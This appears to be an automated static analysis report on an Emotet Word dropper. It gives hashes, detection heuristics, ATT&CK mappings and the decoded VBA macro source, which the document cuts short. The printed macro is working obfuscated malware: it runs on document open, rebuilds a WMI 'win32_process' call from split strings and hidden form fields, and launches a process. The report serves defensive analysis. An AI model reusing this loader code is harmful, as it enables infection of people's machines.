Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 659a4e6fd6421985…

MALICIOUS

Office (OLE)

175.8 KB Created: 2020-07-28 05:21:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d300e8f8d1a2b9dbce82a7f63bf025cd SHA-1: 1a6673e5c97cf73ecb538e752041b0efb44936c0 SHA-256: 659a4e6fd642198523d3d55c2af88f2e97a1ce75342bbab12732bfe9500eea26
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetIOS-9402070-0', indicating it's likely an Emotet variant. Critical heuristics indicate the use of a hidden UserForm as a command stager, executing VBA code upon opening. This VBA code likely downloads and executes a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4551 bytes
SHA-256: 44a9ace424a2d60ad77a4e9992a6b476c1f185418baf245a3174c0698b86eeac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "doashauhzeek"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
queehcheipgeivwuv.geamheulceim
End Sub


Attribute VB_Name = "queehcheipgeivwuv"
Attribute VB_Base = "0{17CEBDB1-80B0-47F6-B2D9-A44B1482BCDB}{D4FF6069-4D52-4F0A-9542-84A25D212FB4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function geamheulceim()
loolkaimpeipbioch = Chr(queehcheipgeivwuv.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
roeyquair = "quuudjoavmieg"
Loop
reujkij = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + loolkaimpeipbioch + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + queehcheipgeivwuv.thoezgoachhenzaob + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
xizgaonquoj = "yaumsiatyebreod"
Loop
taojchiaw = bouptuaygoom(reujkij)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
paiythaoyyaev = "queummoofdeew"
Loop
Set keefyeuvneot = CreateObject(taojchiaw)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
loayciehthoir = queehcheipgeivwuv.hiaffiawloakfuup.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
queownaojxeiv = "beadmequdazvuud"
Loop
viewhiacfaoc = NN + (taojchiaw + loolkaimpeipbioch) + queehcheipgeivwuv.leurthaizroef.ControlTipText + loayciehthoir
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
doolweenfoar = viewhiacfaoc + queehcheipgeivwuv.thoezgoachhenzaob
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
foulcuudceuch = "zoajridjaib"
Loop
Set nuawkeox = yeebqueamxien(doolweenfoar)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
kuawdiechjukveik = "kaikyaik"
Loop
uiii = Array("BNSBSBBSSS", keefyeuvneot. _
Create(baeszoejhusthaiw, fourdouxtauy, nuawkeox), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function yeebqueamxien(voasfafsimveug)
Set yeebqueamxien = CreateObject(voasfafsimveug)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
wigduaquwood = "thothchuasrof"
Loop
yeebqueamxien.showwindow = (diybeuthcoom + chaefnoeg) + (weelvaes + nezmal)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function bouptuaygoom(raquchiarloeth)
gansairsow = raquchiarloeth
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
tecyaeftheur = "bukkurfes"
Loop
miacgiaw = Split _
(gansairsow, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
boirkaepchuk = "yephoew"
Loop
zioglaoz = kooooo + Join(miacgiaw, buuuu)
Dim FE8ÀZPIY As Long
FE8ÀZPIY = InStr("WnuNksorVHT", "sorVHT")
bouptuaygoom = zioglaoz
Dim GaWZEpC As Integer
GaWZEpC = 4
Do While GaWZEpC < 4 + 4
GaWZEpC = GaWZEpC + 5: DoEvents
moiquzooycaup = "yoewbiaxjo
... (truncated)

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